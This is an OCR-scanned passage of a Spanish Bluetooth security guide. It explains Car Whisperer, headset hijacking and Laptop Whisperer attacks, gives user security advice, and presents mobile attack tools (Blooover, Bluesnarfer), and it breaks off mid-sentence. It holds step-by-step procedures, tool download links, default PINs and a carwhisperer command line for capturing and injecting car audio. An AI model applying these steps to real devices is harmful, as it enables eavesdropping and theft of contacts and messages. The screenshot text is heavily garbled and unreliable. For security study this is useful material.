El modelo de uso Manos Libres es uno de los mas significativos de la tecnologia
Bluetooth y su uso se ha ido extendiendo en los ultimos afos debido, sobre todo, a
la reciente popularidad de los dispositivos Manos Libres de automovil, los cuales
representan el tnico medio legal de conducir un vehiculo al tiempo que se
mantiene una conversacion telefonica.

A continuacién se detallan ataques especificos a los tres modelos de uso habituales
del Perfil de Auriculares mencionados. Todos los ataques a dispositivos Manos
Libres persiguen los mismos objetivos:

o Capturar el audio recogido por el micréfono del dispositivo, lo cual
permitiria escuchar conversaciones privadas.

0 Inyectar audio que seria reproducido por los altavoces del dispositivo, lo
cual permitiria proyectar mensajes de voz a los usuarios.

En cualquiera de los casos, la consecucion con éxito de un ataque a un dispositivo
Manos Libres compromete la intimidad del usuario propietario del dispositivo, la
violacion de la confidencialidad en conversaciones que tengan lugar en las
proximidades de un dispositivo comprometido y, en el caso de ataques a
dispositivos Manos Libres de automovil, la seguridad al volante de los pasajeros
de un automovil.
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4.2.1 — The Car Whisperer (Martin Herfurt, 2005)

El ataque Car Whisperer tiene como objetivo los dispositivos Manos Libres de
automovil, aunque también afecta a los dispositivos Manos Libres Auriculares.

El proposito original del proyecto Car Whisperer era sensibilizar a los fabricantes
de dispositivos Manos Libres Bluetooth para automovil acerca de la amenaza para
la seguridad que supone incorporar claves PIN por defecto como medio para
emparejarse con estos dispositivos.

La primera vez que dos dispositivos Bluetooth intentan establecer comunicacion,
se utiliza un procedimiento de emparejamiento para crear una clave de enlace
comun a partir de un codigo de seguridad Bluetooth (clave PIN), que es requerido
a cada dispositivo y que debe ser el mismo para los dos. Posteriormente, cuando
los mismos dispositivos se comuniquen, utilizardn la clave de enlace para
funciones de autenticacion y cifrado.

El hecho de incorporar una clave PIN por defecto en un dispositivo Bluetooth
significa que cualquier usuario con conocimiento de esa clave estandar puede
emparejarse con el dispositivo y comunicarse con €l de forma autorizada. En el
caso de un Manos Libres, un atacante podria acceder a las funciones de audio
implementadas en el terminal y llevar a cabo las siguientes acciones con fines
maliciosos:

o0 Capturar el audio recogido por el micréfono del dispositivo, lo cual
permitiria escuchar conversaciones privadas en el interior del vehiculo.
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0 Inyectar audio que seria reproducido por los altavoces del dispositivo, lo

cual permitiria proyectar mensajes de voz a los ocupantes del vehiculo.

El ataque Car Whisperer descubierto por Trifinit Groupe se basa en la utilizacién
de una herramienta para Linux con BlueZ. Esta herramienta se puede obtener en
la siguiente direccion: http://trifinite.org/trifinite stuff carwhisperer.html

TrielNlTE PRESENTS

La herramienta se compone de varios programas
encargados de:

e SummiEr Trewe 2ol

0 Identificar dispositivos Manos Libres.

o Utilizar claves PIN estandares para emparejarse
con el dispositivo.

AR 0 Crear una pasarela de audio estableciendo enlaces

YETR . ey .

RER SCO para la transmision de audio en ambas
direcciones.

La herramienta Car Whisperer desarrollada por el grupo Trifinite permite
capturar e inyectar audio en tiempo diferido, es decir, permite capturar audio que
es almacenado en un archivo .raw para posterior reproduccion y también permite
inyectar audio pregrabado en mensajes .raw.

Con el fin de solucionar el inconveniente de no poder escuchar el audio recogido
al mismo tiempo que se almacena, Kevin Finisterre publico un parche que,
aplicado a la herramienta Car Whisperer, permite realizar la operacion de captura
de audio en tiempo real, es decir, el audio recogido por el micréfono del Manos
Libres se reproduce automaticamente por la tarjeta de sonido del PC del atacante
al tiempo que se graba en un fichero.
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Se puede obtener el parche de Kevin Finisterre en la siguiente direccion:
http://www.digitalmunition.com/carwhisper-realtime.tar

Para aplicar el parche a la herramienta original, basta con descomprimir los
archivos del programa Car Whisperer y del parche en el mismo directorio, aplicar
el parche y compilar el codigo fuente para obtener la herramienta completa.

= gospel@® GospelFC5:~/carwhisperer g@@

Archivo Editar Ver Terminal Solapas Ayuda

carwhisperer]$ cat carwhisper-realtime.diff | patch -—pO

le carwhisperer.c
pelFC5 carwhisperer]$ make
whisperer. whisperer -lbluetooth
rwhisperer]$

El procedimiento para desarrollar el ataque Car Whisperer es el siguiente:

En primer lugar, el atacante debe ser capaz de encontrar en sus proximidades un
dispositivo Manos Libres Bluetooth en modo visible o discoverable. Es condicién
necesaria que el dispositivo se encuentre activo pero no conectado a ningtin otro
dispositivo en ese momento.

= gospel® GospelFC5:~ [=Jm]lx]

Archivo Editar Ver Terminal Solapas Ayuda

[gospel )spelFC5 ~]1% blue nner -cp
+ BlueZScanner, por Gospel < pel.endorasoft.

Detectando dispositivos

Dispositivo
Nombre: HF009

- Tipo de dispo
Audi
Perfiles Bluet
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Un intento de conexiéon al Perfil de Auriculares lanzard un proceso de
emparejamiento que requiere al atacante la especificacion de un cddigo de
seguridad Bluetooth (clave PIN) que debe coincidir con la clave por defecto
almacenada en el dispositivo Manos Libres. El conocimiento de esta clave es
trivial, ya que las claves estandar determinadas por los fabricantes suelen ser tan
simples como 0000, 1234, 8888...

| Bluetooth PIN Code

E3

Qutgoing connection to HFO0S[00:08:E0:0E:55:79]

PIN [s888 |

| Accept | [ Reject |

Si el proceso de emparejamiento se lleva a cabo con éxito, el PC del atacante
quedara autorizado para acceder al Perfil de Auriculares y estard en disposicion
de lanzar la herramienta Car Whisperer.

=1
Archivo Editar Ver

ospe ospelFC5
SoX -t raw -r

gospel@ GospelFC5:~fcarwhisperer

ESENES

Terminal Solapas

AIuda

- B3
i

carwhisperer]$ ./carwhisperer 0 message.raw - 00:08:EQ0:0E:55:
8000 -¢ 1 -s -w - -t ossdsp /dev/ds

16-bits

Sample Enceding:
Channels 3
Sample Rate

got: AT+BRSF=30
ansewered: +BRSF
Time: 00:08.19 [O
ND="7

ansewered: +CIND:

[O

signed (2's
1
8000

HI ]
0:00.00] of
("call"”, (0O,

0:00.00] of

complement)

o0 ¢ 0.0 65.

) Output Buffer:

,("service",(0,1)),("call_setup",(0-3)),("c

00 ( 0.0

292

) Output Buffer:

Tras la ejecucién de la herramienta Car Whisperer, el atacante habra conseguido
llevar a cabo las siguientes acciones:

0 Inyectar el mensaje de audio message.raw que sera reproducido por los
altavoces del dispositivo Manos Libres en el interior del vehiculo.

Capturar el audio recogido por el micréfono del dispositivo Manos Libres y

reproducirlo en tiempo real en la tarjeta de sonido del PC, permitiendo al
atacante escuchar conversaciones privadas en el interior del vehiculo.
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4.2.2 — Headsets Hijacking (Kevin Finisterre, 2005)

El ataque Car Whisperer también afecta a dispositivos Manos Libres Auriculares,
ya que, del mismo modo que los dispositivos Manos Libres de automovil,
incorporan la vulnerabilidad del codigo de seguridad Bluetooth (clave PIN) por
defecto. Cualquier atacante podria emparejarse con el dispositivo Manos Libres
Auriculares y acceder a sus funciones de audio:

0 Capturar el audio recogido por el micréfono del dispositivo.

BLA, BLA,

BLA, BLA, BLA, BLA,

BLA, BLA,

L ]
L ]
*teennaes® MANOS LIBRES (HEADSET)

0 Inyectar audio que seria reproducido por el auricular.

BLA, BLA,
BLA, BLA,

BLA, BLA,
BLA, BLA,

. °*
®*essecr? MANOS LIBRES (HEADSET)

En algunos modelos vulnerables, incluso es posible cortar una conversacion
telefonica en curso e inyectar audio, para sorpresa del usuario.
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4.2.3 — The Laptop Whisperer (Kevin Finisterre, 2005)

El modelo de uso para el Perfil de Auriculares denominado Pasarela de audio
permite a un usuario configurar dos equipos Bluetooth y establecer una pasarela
de audio entre los dos, de forma que el audio que reproduce el software de un
dispositivo, se transmite al otro dispositivo a través del enlace SCO y puede ser
proyectado por los altavoces del segundo. Asi mismo, el audio recogido por el
micréfono de un dispositivo se transmite al otro dispositivo y puede ser grabado
en un archivo de sonido.

La esencia de la vulnerabilidad Laptop Whisperer se encuentra en la posibilidad
de conectarse remotamente a un PC con Bluetooth y utilizar el Perfil de
Auriculares sin necesidad de autenticacion.

Un ataque con éxito al Perfil de Auriculares permitiria a un atacante llevar a cabo
las siguientes acciones con fines maliciosos:

0 Capturar el audio recogido por el microfono del dispositivo, lo cual
permitiria la escucha de conversaciones privadas.

BLA, BLA,
BLA, BLA,

PERFIL AURICULARES
PERFIL PASARELA DE AUDIO
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0 Inyectar audio y mensajes de voz que serian reproducidos por los altavoces
del PC, para sorpresa del usuario del mismo.

BLA, BLA,

PERFIL AURICULARES

e, o? PERFIL PASARELA DE AUDIO
se e

Las victimas potenciales de un ataque Laptop Whisperer son todos aquellos
usuarios de PC con Microsoft Windows™ que dispongan de un dispositivo
Bluetooth soportado por la pila de protocolos Widcomm.

En el caso de usuarios con ordenador portatil o laptop, el caso es especialmente
grave porque estos equipos suelen incorporar micréfonos que permitirian recoger
audio de conversaciones proximas. Si un atacante consiguiera comprometer el
Perfil de Auriculares, tendria acceso al control del micréfono y podria grabar
conversaciones privadas. Si el equipo comprometido no incluyera micréfono, el
atacante solo podria limitarse a inyectar audio que seria proyectado por los
altavoces del PC.
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La vulnerabilidad que permite llevar a cabo el ataque Laptop Whisperer reside en
la posibilidad de que un atacante remoto puede conectarse al Perfil de Auriculares
sin necesidad de autenticacion porque la configuracion por defecto de la pila de
protocolos Widcomm asi lo establece.

% Editor del Registro [P._HEHZ]
Archivo  Edicidn Ver Faworitos  Awuda
= (3 widcomm A | Nembre Tipa Datos
= (3 BTConfig REG_SZ {valor no establecido)
- Applications pec_oworD [ oxo0000000 ()
# ] AdtoConnect REG_DWORD | 000000000 (o)
I g g:ﬁ;iges . REG_DWORD 0000000 (1)
(] Filters Descriptinn REG_SZ Permitir que los dispositivos Bluetooth remotos,
i Encryption REG_DWORD  0x00000000 (0}
D HcrpPorts GLIID REG_SZ 400001 1 08-0000- 1 000-5000-00505F SE34FE)-
(1] Notifications InstaIIOnDemand REG_DWORD  Ox00000001 (1)
(1 Pims REGL5%
=1 Services F‘ropertiesDII REG_SZ
([ ooot (8% SecurityID REG_DWORD  0x00000005 (5)
[ ooz [ab] statusDil REG_SZ
(3 0003 [B¥uu REG_DWORD 000001108 (4360)
(L1 ooo4
[[] ooos
[C] ooos
(L1 ooo7 =
{3 o008
[ noos R
P e . -
£ | £ >
Mi PCUHKEY _LOCAL_MACHINE\SOF TWAREWWidcomm BT Config\Ser vicesi000S

El procedimiento para desarrollar el ataque Laptop Whisperer es el siguiente:

En primer lugar, el atacante debe localizar el PC objetivo y comprobar que soporta
el Perfil de Auriculares.

[l Configuracidn Bluetooth 0068 :_'_ = Aszistente para agregar NUEYa conexidn f_ﬁ_

Bluetooth  Ver Ayuda Seleccione un dispositivo

€3 Bluetooth

Dizpasitiva Bluetooth

- Direccion del dispositivo Blustooth

1]

ORION

Actualizar

conexidn

I @ MU Detale.., Elirniriar] I

= Atrds H Siguiente>] [ Cancelar ]
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AZISEENTE para agregar nueva conexion onfiguracién Eluetaoth

Seleccione un servicio.

€ Bluetooth

2 Fed ad-hoc de grupo Acceso a red

$ Puerta ze Puerta de serie Bluet

Nueva | oDetaIIe...I |x Eliminarl

conexicn

A continuacion, el atacante establece una conexion con el Perfil de Auriculares del
PC comprometido sin necesidad de autenticacion.

Configuracisn Bluetaoth - AN = onfiguracidn Bluetooth

€3 Bluetooth : € Bluetooth

Lo}

ey : - [@oetale..) [3€ Eiminar]

conexicn conexidn

La tnica notificaciéon que recibe el usuario victima es un aviso en el icono de
Bluetooth, que cambia a color verde mientras existe una comunicacién Bluetooth
establecida con otro dispositivo. Esto significa que mientras el ataque se lleva a
cabo, es muy improbable que el usuario perciba lo que realmente est4 ocurriendo.

& i MY SE3IFM
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Con la conexion establecida, el atacante estara en disposicion de:

0 Inyectar audio
comprometido.
Propiedades 0 6 m
Dispositiva | Opciones  Ayuda

mezclador:

Ajustar volumen de
! Control de wolumen

) Reproduccién

- " Balance:
() Grabagién
L
Otroz 4
Yalumen:

tostrar los controles de volumen siguientes:

Control de volumen
Onda
Reproductor de CD
MIDI

AEEAR

[ Silenciar todo
—

Aceptar Cancelar

audio (pelicula) en e

El audio se transmite por
Bluetooth hasta el Laptop.

Yalumen: Yolumen: Yalumen:

-
"1 Silencio F Gilencio "1 Silencio
= L -

Bluetooth Wawe fraom TOIHIEA

El audio se reproduce por
los altavoces del Laptop.

que sera reproducido por los altavoces del PC

Contral de valumen O"'H\B
Onda Reproductor de CO - MIDI
Balance: Balance: Balance:
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0 Capturar el audio recogido por el micréfono del Laptop y grabarlo en un

fichero.
Propiedades 06 ([ Control de grabacidn 0O
Dispasit : — - ;
m::g;;u;ﬁ Blugtooth 2 from TOSHIBA | ¢-j CEEeiEs Ayl
Ajustar valumen de Contral de grabacidn Micrdfano
(_) Repraduccién
® rataoi Balance: Balance:
rabacion
. .
: i d B d
Otros —
Wolumen: Yolumner:
Mostrar los controles de volumen siguientes: =Y =Y
™ Control de grabacién
™ Micrdfona
| Silenciar tado :_: Silencio

Aceptar Cancelar

El audio se transmite por
Bluetooth hasta el atacante.

Para poder grabar el audio capturado desde el
interfaz Bluetooth en un fichero se puede emplear
la utilidad sndrec32.exe que incluye Windows™.

Eluetooth Wave from TOSHIBA

i
Elmicréfono del Laptop
recoge audio.

E |
@ $onidao - Crabadora de sonidos o (&) B

Archivo Edicion  Efectos  Ayuda
Posicidn: Duracion:
18.75s. E0.75 5
|
Ju|

|| > [W] @ |
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4.3 — Recomendaciones de seguridad para
dispositivos Bluetooth

Se recomienda adoptar las siguientes medidas de seguridad con el fin de evitar
ataques a dispositivos Bluetooth. Estas medidas son simples y de aplicacion
inmediata y deberian formar parte de la conducta habitual de un usuario de

dispositivos Bluetooth.

1. Activar Bluetooth en el dispositivo s6lo cuando sea necesario para realizar
algun tipo de comunicacion a través de este interfaz y desactivarlo cuando no se
vaya a utilizar.

2. Configurar el dispositivo en modo oculto o non discoverable. De esta forma
disminuyen las probabilidades de que un supuesto atacante detecte la presencia
del dispositivo al escanear en busqueda de equipos Bluetooth.

Configuracion Bluetooth

Servicios locales Aplicaciones cliente Hardware
General | Accesibilidad Detecitn

[] Permitir que otroz dizpositivos Bluetooth detecten este equipa,

Digpogitivoz con permizo para conectarse a este equipo

Pemmiti. | Todng los dispositivos. 4

Hingon dizpozitiva.

Sele Todoz los dispositivios.

Sdla los dispositivos que aparecen mas abajo.

Bluetooth

fictivado i .
El teléfono no es l

detectable en

las bisguedas
realizadas por otros
dispositivos

visibilidad mi teléf.
| Oculte |

Hokia 6600

opciones Salil .

3. Configurar el dispositivo para que utilice la funcion de cifrado en todas las
comunicaciones. De esto modo, se garantiza la confidencialidad del intercambio

de mensajes.
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4. Utilizar un nombre de dispositivo que no sea representativo de la marca y
modelo del mismo, por ejemplo: Nokia 6600. Esto implica, en la mayoria de los
casos, modificar el nombre de dispositivo asignado por el fabricante.

5. No aceptar bajo ningin concepto conexiones entrantes de dispositivos
desconocidos. Esto implica también intentos de conexion de personas en las que
no se confia aunque el pretexto pueda parecer inofensivo, por ejemplo: Emparejar
dos dispositivos para transferir una fotografia.

6. Configurar todos los perfiles soportados por el dispositivo para que requieran
autenticacion ante cualquier intento de acceso. Esto es importante sobretodo para
evitar ataques como The Laptop Whisperer, ya que, en algunos dispositivos,
ciertos perfiles estan configurados por defecto para admitir conexiones sin exigir

. .7
autenticacion.
Configuracidn Bluetooth [ ' E| Propiedades de Bluetooth EI§|
General Accesibiidad Deteccidn General | Notificaciones
Servicios locales Aplicaciones clisnte Hardware
@ /’
Seleccione los gervicios que el equipo offecera a obrog dispositivos Bluetooth. Auriculares ¥,
Haga doble clic zobre un nombre de servicio para establecer el nivel de sequnidad, las by
opciohes de inicio  sus propiedades. Iriciar automaticamente Conexidn segura
MNombre del servicio Imicio Conexion segura
Pazarela de audio Inicio automatico Mo necesaria
Auriculares Ihicio automatico Mo necesaria
Sincronizacidn del FIM Inicio automatico Wecesaria
Fax Inicio marnual Wecesara
Tranzferencia de archivos Inicio automatico Mecesaria
Tranzferencia de elementos del PIM - Inicio automético Mo necesaria
Acceso telefdnico a redes Inicio marnual Wecesaria .
- . ; Propiedades de Bluetooth
Acceso a red Inicio automatico Wecesaria P E]@
Puerto de zerie Blustooth Inicio automatico Mecesaria Gereral | Motificaciones
Cuando un dispositivo remoto se conecte a este dispositiva,
avizame cor: -
e
[ Mo me avizes %,
£ 4 i %
Un aviso visual s
%)
Agregar servicio de sere Ayiso sonoro #
Mombre del archivo de audio:
e g [

7. Verificar periddicamente la lista de dispositivos de confianza y eliminar aquellas
entradas de dispositivos con los que habitualmente no se establece conexion.

8. Aunque actualmente todavia no se ha descubierto una forma de romper la
seguridad del emparejamiento realizando fuerza bruta sobre un coédigo de
seguridad Bluetooth (clave PIN) que hayan empleado dos dispositivos
emparejados, utilizar en la medida de lo posible claves PIN de longitud extensa,
hasta 16 bytes.
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Capitulo

5

GO MOBILE!
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5.1 — Ataques a dispositivos Bluetooth desde
plataformas mobile

Existen algunas ventajas en la utilizacion de dispositivos mobile, tales como
teléfonos moviles, PDAs y Tablet PCs, como plataformas de ejecucion de
herramientas de ataque a dispositivos Bluetooth. La ventaja principal de estos
dispositivos, frente al uso de PCs, aunque se trate de ordenadores portatiles o
laptops, es su capacidad de manejo.

Realizar un ataque de corto alcance a un dispositivo Bluetooth desde un
ordenador portatil resulta incomodo y sospechoso. El uso de dispositivos mobile es
mas discreto y efectivo, nadie sospecharia de una persona que en ese momento
estd utilizando su teléfono maévil.

Esta ventaja se podria rebatir argumentando la posibilidad de llevar a cabo
ataques automatizados desde un ordenador portatil guardado en una bolsa o
mochila. Sin embargo, el hecho de poder manejar el dispositivo en cada momento
permite al atacante disponer de mayor libertad de accion.

Otra ventaja que ofrecen los dispositivos mobile es que, actualmente, su capacidad
de procesamiento es equiparable a la de cualquier PC. La mayoria de teléfonos
moviles, PDAs y Tablet PCs del mercado disponen de procesadores y memoria
suficientes para ejecutar una aplicaciéon que permita llevar a cabo ataques contra
dispositivos Bluetooth. Estas aplicaciones pueden ser desarrolladas en entornos
embebidos gracias a SDKs (Software Development Kits) como eMbedded Visual
C++ o0 J2ME.

Una posible desventaja es el radio de alcance de estos dispositivos mobile, 1os
cuales solo permiten alcanzar distancias cercanas a los 10 metros. Estas distancias,
aun siendo significativamente inferiores a los 100 metros que pueden alcanzarse
con un dispositivo USB de clase 1, permiten llevar a cabo ataques de corto alcance
en espacios reducidos y con gran afluencia de personas, como bares, estadios,
aeropuertos y lugares de interés turistico.

A continuacion se describen algunos ejemplos de herramientas disponibles para
dispositivos mobile y que permiten llevar a cabo ataques a dispositivos Bluetooth.
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5.1.1 — Blooover (Trifinite Group, 2004)

Blooover es una herramienta prueba de concepto para realizar auditorias de
seguridad en dispositivos Bluetooth desarrollada para teléfonos moviles con
soporte ]2ME.

Blooover permite llevar a cabo ataques Bluebug de forma automatizada sobre
teléfonos moviles detectables mediante un simple escaneo de dispositivos
Bluetooth. En caso de conseguir ejecutar un ataque con éxito, Blooover permite
ejecutar las siguientes acciones:

Snarf Phonebooks - Captura de la agenda de contactos.

Snarf SMS - Captura de mensajes SMS.

Add Phonebook Entry - Afadir una entrada en la agenda de contactos.
Set Call Forward - Establecer un desvio de llamadas a otro de teléfono.
Initiate Voice Call - Iniciar una llamada de voz

O O O O O

Blooover esta desarrollado en J2ME (JAVA 2 Micro Edition) y necesita que el
teléfono movil donde va a ser instalado sea compatible con MIDP 2.0 y el API
Bluetooth JSR-82. Los siguientes modelos soportan los requerimientos necesarios
para la ejecucion de Blooover: Nokia™ 6600, Nokia™ 7610, Nokia™ 6630, Sony
Ericsson™ 900, Siemens™ 565, etc.

La herramienta Blooover, desarrollada por Trifinite Group, esta disponible en la
siguiente direccion: http://trifinite.org/trifinite stuff blooover.html

5.1.1.1 - Descripcion del ataque Bluebug con Blooover

En primer lugar, activar Bluetooth en el teléfono mdvil e iniciar Blooover.

Blooover

F

Find BT-Devices |
Settings

Reports

Ahout

Exit

Opciones Exit
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A continuacion, el atacante puede visualizar y, en su caso, modificar las opciones
de configuracion que ofrece Blooover

[Pt ) = BloooverAttac

Blooover Attack Configuration = k Configurati..

Attack Features

Bl art Phanek

Hsnarf SMS O Snarf Phonehoo..

%.&dd Phonebook Ertry snarf SMS

Set Call Forvward

Fintiste Voice Cal Add Phonehook..

Details for Phonebook Shart: Set Call Forward

Humber of max. Humbers |10 Initiate Voice E-F.I|||

Details for SMS Sharf: Details for Phonebook Snarf:
Rt L e ] o b A

Humber of max. SMS 10 Opciones « Store

Detailz for Phonebook Entry:

Entry Hame

Honey

Entry Humber

+49 223 4599577

PO LA,

Details for Call Forward:
Forward Humber

Detailz for Woice Call: 8 fid Phonrboak
St ©all Forwarid

Call Phonenumber wiltiate Voice Cal

Feport Handling:
Reports
Stare no audi

®Store all audits
Cistore successfull audits

Humber of Reports to store

T
A

Store

Finalmente, se inicia el ataque a través de la opciéon del ment principal Find BT-
Devices. La aplicacion comenzara a escanear en busca de dispositivos Bluetooth
cercanos a los que lanzar el ataque.

Blooover

:

[ scanning )

Opciones




Tras finalizar el ataque, Blooover genera un log con toda la informacion obtenida

del teléfono movil atacado.

Results

:

Snatfed SMs:

Hurber: +34
Date: 010,50
Tirme: 02:70:81
Timezone; +44
Message:

el

Opciones = Dismiss

: ﬁ;i Results

ed phonebook entry with
name ‘Honey' and nurmber
'+492234899577,

Setting call forward to number
+49 1337 7001 was successull,
User is no longer reachable ;)

Initiated phonecall to the german
Windows ¥P Activation Hotline 2],

Opciones - Dismiss

5.1.2 — Blooover II (Trifinite Group, 2005)

Blooover II es la siguiente generacion de herramienta de auditoria de seguridad
de teléfonos moviles desarrollada por Trifinite Group.

Incluye auditorias para las siguientes vulnerabilidades:

Bluebug
HeloMoto
Bluesnarf
Bluesnarf++

O O 0O oo

Ataques de denegacion de servicios (DoS, Denial of Service) mediante el

envio de paquetes malformados por OBEX.

La herramienta Blooowver II estd disponible en la siguiente direccion:
http://trifinite.org/trifinite stuff bloooverii.html
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- +j4- Bloooverll
T

Find Devices |
SEettings

Heports

About Blooover Il

Exit Blooover I

@

Allow application
Blonover2 to
use connectivity
applications?

. +j4- Blooover?
¥

“|

[ o ) o I 5

( scanning )
2: 00Z20E07DSDDL

Options StopMoptions
i

[ BlueBug )
Read phonebooks

- +j4- Found Devices
=

Hokia G310 |
James Fean
Paris Hilton

Back

- +j4- fuditResults
-

Blnower I

The trifinite BLetooth Hoowar,
Version 2 [¥2.0.1-22c3)

Audted device
Adciress; ONE0S721452E
Manie Nckia 63100
(Class: 512

Time: 148 29122005

Options Dismiss

Fuente: http://trifinite.org/Downloads/trifinite.presentation_22c3_berlin.pdf

General |
BlueBug

HeloMoto

BlueSnarf

BlueSnarf++

Malformed Ohjects

Back

Options

ElueSnart
*H‘ Configuration

i

Lenera

ElueBug
*H* Configuration

Do ElueBug
Do HeloMaoto

Do BlueSnarf |
Do Bluesnar f++
bo Malformed Oh..

Cancel

Options

Ollaing gJdit =Cerarios,

Feslt:

Found Object Push Profile [0PP) on
channe 9

Fourd Hands-Free Profile (HFFD on
channe 13

Found Headset Profile (HZF) on
channe L2

Options *~ Dismiss

HeloMoto
= ‘H‘ Configuration

= 'H‘ Configuration
T

eneral Settings

-

ueBug Settings

T
HeloMoto Settings

Enable QuickCon. |

Parform BlueBug. |

Perform BlueBug.|

Include Descripti.
Keep Reports

Number of Reports
o |

Cancel

Options

MFOD

*H‘ Configuration

g

Blueinart settings MFO Settings

(] Perfarm BlueSna.| (] Perfarm MFD att..|
Retrieve ph.ecf Send Ohject 1
Retrieve calvcs Send Ohject 2

Iz Retrieve Custom.. = send object 3
File Hame Object Name 1
telecom,/phjinfolog

Cancel

Options

Cancel

Retrieve Numbers
Retrieve SMS
Write PB Entry
set Call Forward
Initiate Yoice Call

(4]
(i}
[

Options

Cancel

MFO
Configuration

ohiect Name 1
|tr|f|r||te.ucf |

Object Content 1

BEGIHUCARD
H:trifinite.fuckup

cance

Options

Fuente: http://trifinite.org/Downloads/trifinite.presentation_22c3_berlin.pdf

Retrieve Numbers
Retrieve SMS
Write PB Entry
set Call Forward
Initiate Yoice Call

OEE=E B B0

Do BlueBug
[ Do HeloMoto
Do BlueSnarf |

D0 Bluesnarr++
Do Malformed 0Oh.

Cancel
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5.1.3 — Pocket Bluesnarfer (Alberto Moreno, 2005)

Pocket Bluesnarfer es una herramienta para Pocket PC™ que permite conectarse al
Perfil de Puerto Serie de un teléfono movil y ejecutar comandos AT en el terminal
con el fin de llevar a cabo las siguientes acciones:

0 Ejecutar operaciones concretas mediante comandos AT personalizados.

0 Obtener informacidén general del teléfono movil: marca, modelo, IME],
cobertura y nivel de bateria.

0 Extraer la agenda de contactos almacenada en la tarjeta SIM.
0 Extraer la bandeja de entrada de mensajes SMS.

El Perfil de Puerto Serie requiere autenticacion en la mayoria de los teléfonos
moviles, de modo que para poder ejecutar Pocket Bluesnarfer, se requiere que el
equipo Pocket PC™ vy el teléfono movil hayan sido emparejados previamente.
Asimismo, Pocket Bluesnarfer se basa en conexiones RFCOMM emuladas sobre
puertos COM virtuales, por lo que es posible que la aplicacion no sea compatible
con otras pilas de protocolos Bluetooth distintas de Widcomm.

Pocket Bluesnarfer esta desarrollada en eMbedded Visual C++ con el SDK
Windows Mobile™ 2002. Es compatible con Windows Mobile™ 2002 y 2003 y
soporta las siguientes arquitecturas de Pocket PC™: ARM/Strong ARM/XScale

El cédigo fuente y la herramienta Pocket Bluesnarfer estan disponibles en la
siguiente direccion: http://gospel.endorasoft.es/

Pocket Bluesnarfer esta basado en el proyecto [rDA Mobile, de Daniel Strigl.
http://www.codeproject.com/ce/irdamobile.asp

El cédigo fuente se distribuye bajo licencia GNU General Public License.
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5.1.3.1 - Descripcion del ataque con Pocket Bluesnarfer

Antes de iniciar el ataque es necesario configurar el [ ; [Pocket Blucsnarfer 43 46 D @]
puerto COM que utilizard el equipo Pocket PC™ para — o

comunicarse con el exterior (IrDA o Bluetooth). = comandoar: Agends? []
También se puede especificar el comando AT |Eschs? |
personalizado y elegir las opciones de extraer del e R I
teléfono movil los mensajes SMS y la agenda de

contactos.
1] n [ T»
[
0 Contactos Erviar
|-

Al comenzar el ataque por Bluetooth, Windows Mobile™ 2003 lanzar4 el gestor de
comunicaciones Bluetooth para localizar el dispositivo con el que se desea
establecer comunicacion. A continuacion, el gestor de conexiones Bluetooth
muestra los perfiles de Puerto Serie ofrecidos por el teléfono moévil.

oot 5460 @ ooz ot 41556 @ QN b conie 540 ©

Explorador de Bluetooth Explorador de Bluetooth Elja de los puertos en serie disponibles a
Seleccione un dispositive Bluetooth Seleccione un dispositive Bluetooth continuacion:
0 Serial Port 1
L F [ Sarial Port 2
HFOO%  Mokia LD- T8I MNokia 6230 Tity Nokia 6820
1w
=
CASA
Cancelar Cancelar
Ver (5} =18 ver € [=]B -

Al establecerse con éxito la conexion al Perfil de Puerto Serie, se inicia el ataque
mediante comandos AT. El resultado se muestra en pantalla.

e 540 QI okt 5 76 QI 5,40 ©

Pustocom: [7___~] w2 [] Pusrto COM: sus? [7] Puertocom: [ -] sus?[]
Comando AT: Agenda? ] Comando AT: Agenda? [ ] Comando AT: Agenda?
|aTecoms? | |aT+coms? | |aT2cPms? |
Accion | Estado | valor Accion | Estado | valor Contacto | e Tekéfono [«
AT+CPMS? 0K +CPMS: "sM",0.. AT+CMG... OK +CMGR: "REC R} Toni =
AT+CGMI  OK ERICSSON AT+CMG... OK +CMGR: "REC R 1.¥Yag™e (Mov)

AT+CGMM 0K 1130202-BVTES AT+CMG... OK +CMGR: "REC A Oliver

AT+CGSM 0K 350372456552, Miguel (Casa) =
AT+(5Q 0K +C50Q: 26,99 Miguel (Movil) -
AT+CBC  OK +CBC: 0,11 Carton =
[H| [ Tw [H| ]

[Conexion finalzadal [Conexidn finalzadal

0 Contactos Erviar B2 Contactos




Finalizado el ataque, Pocket Bluesnarfer genera un archivo de log donde el
usuario puede consultar la informacion extraida mediante la ejecucion de

comandos AT.

- Pocket Word A0 O
el

===== POCKET BLUESNARFER LOG **=**
=# Comando AT parsonalzado 2 1:

+CPMS: SKT, 0, 20, "5M™, 0, 20,"ME", 0,70
## Informacidn General $5

ERICSS0N

1130202-BVTEE

J5037 456

+050: 28,99
+CBC: 0,10

w

Nuevo|« Edicién Ver Herram. T,  [E|«

- Pocket Word 4 g 1729 (D
sssxs BOCKET BLUESNARFER LOG *****  [u

22 Comando AT persona z=
+CPMS: "SMT, 3,15,75M",3,15,"MT,8,165 =

## Informacidn General =&
Neskia L
Nokia 6E20
3525050050 =0
+C50: 30,99
+CBC: 0,100

=2 Bandeja de entrada SMS =2

MNuevo |+ Edicion Ver Herram. T, E|i

[T ——
Carmen (s8] =
Fax-papa =—— ==
Irda (Casa) =g
Lhujo (Cose) ===
J¥ag--e (Com) =u
Carton =—m—=

Miguel (Mowll) =
il (el S

w

Muevo|« Edicién Ver Herram. T, |«

Pockct'w-:rd g 1719 (D
& Bandeja de entrada SMS &5 -

+CMGR: "REC
READ", "6I0TMES", , "06/03/04, 13:05:16404
"LLAM. FERDIDMSsab, 4-Publ mstar. Uiomas

noticias de Anbenal en tu movil.Envia ALTA Sl |

303.coste=0, 15+iva/alert-1 llam, de
30T 13:08

+CMGR: "REC =
READ", 615", , "06/ 0004, 19:41:13+04
"LLAM. PERDIDASSab, 42 lam. de
G1oNE, 19:398

L

+CMGER: "REC

Nuevo|+ Ediciin Ver Herram. T, [E|«
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5.1.4 — The Pocket Car Whisperer (Alberto Moreno, 2005)

El ataque Car Whisperer, desarrollado por Trifinite Group, explota la
vulnerabilidad del codigo de seguridad Bluetooth (clave PIN) por defecto en
dispositivos Manos Libres de automovil. El ataque Pocket Car Whisperer es una
implementacion del ataque Car Whisperer para una plataforma atacante basada en
Pocket PC™,

El hecho de incorporar una clave PIN por defecto en un dispositivo Bluetooth
significa que cualquier usuario con conocimiento de esa clave estandar puede
emparejarse con el dispositivo y comunicarse con €l de forma autorizada. En el
caso de un dispositivo Manos Libres, un atacante podria acceder a las funciones de
audio implementadas en el terminal y llevar a cabo las siguientes acciones:

